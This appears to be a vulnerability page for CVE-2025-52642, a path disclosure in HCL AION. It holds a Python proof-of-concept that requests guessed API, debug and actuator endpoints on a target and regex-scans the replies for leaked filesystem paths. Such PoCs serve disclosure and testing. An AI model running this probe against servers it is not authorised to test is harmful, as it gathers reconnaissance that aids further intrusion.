CVE-2025-52642 HCL AION 内部文件路径泄露漏洞

# CVE-2025-52642 PoC - Path Disclosure in HCL AION # This PoC demonstrates how internal filesystem paths may be exposed import requests import re target = "http://target-server:port/aion" def check_path_disclosure(): """Check if internal paths are exposed in application responses""" # Common endpoints that might leak path information endpoints = [ "/api/v1/system/info", "/api/v1/config", "/api/v1/logs", "/api/v1/files/download", "/health", "/debug", "/actuator/env" ] exposed_paths = [] for endpoint in endpoints: try: response = requests.get(target + endpoint, timeout=10) content = response.text # Look for filesystem path patterns path_patterns = [ r'/[a-zA-Z0-9_/.-]+\.(log|txt|conf|xml|json|yaml|yml)', r'C:\\[a-zA-Z0-9_\\.-]+', r'/opt/[a-zA-Z0-9_/.-]+', r'/home/[a-zA-Z0-9_/.-]+', r'/var/[a-zA-Z0-9_/.-]+', r'/usr/local/[a-zA-Z0-9_/.-]+', r'\s[a-zA-Z]:\\[^\s]+', r'"[a-zA-Z]:\\[^"]+"' ] for pattern in path_patterns: matches = re.findall(pattern, content) if matches: exposed_paths.append({ 'endpoint': endpoint, 'paths': matches }) print(f"[+] Path disclosure found at {endpoint}: {matches}") except requests.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") return exposed_paths if __name__ == "__main__": print("CVE-2025-52642 Path Disclosure PoC") print("=" * 50) results = check_path_disclosure() if results: print(f"\n[!] {len(results)} endpoint(s) exposed internal paths") else: print("\n[-] No path disclosure detected")